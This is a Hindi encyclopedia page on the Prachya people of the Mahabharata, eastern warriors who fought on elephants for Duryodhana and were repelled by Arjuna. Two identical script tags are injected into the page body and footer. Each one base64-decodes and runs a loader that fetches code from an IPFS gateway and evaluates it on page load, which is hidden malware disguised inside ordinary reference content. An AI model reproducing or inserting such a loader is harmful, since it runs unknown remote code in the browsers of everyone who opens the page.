एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "१"।

प्राच्य जाति

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

प्राच्य जाति से तात्पर्य पूर्व में रहने वाले लोगों से है। ये लोग अर्जुन द्वारा युद्ध में परास्त किये गए थे।

  • पाण्डव सेनापति ने भीम को इनके विरुद्ध महाभारत युद्ध में लड़ने के लिए नियुक्त किया गया था।
  • दुर्योधन के पक्षधर प्राच्य गण हाथी की पीठ पर बैठकर युद्ध कौशल में पारंगत थे।
  • जब वे अर्जुन पर आक्रामक हुए तो उसने इन्हें खदेड़ दिया था।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

भारतीय संस्कृति कोश, भाग-2 |प्रकाशक: यूनिवर्सिटी पब्लिकेशन, नई दिल्ली-110002 |संपादन: प्रोफ़ेसर देवेन्द्र मिश्र |पृष्ठ संख्या: 519 |

  1. महाभारत, आदिपर्व, अध्याय 139, उद्योगपर्व, अध्याय 30, 57, 160-161

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>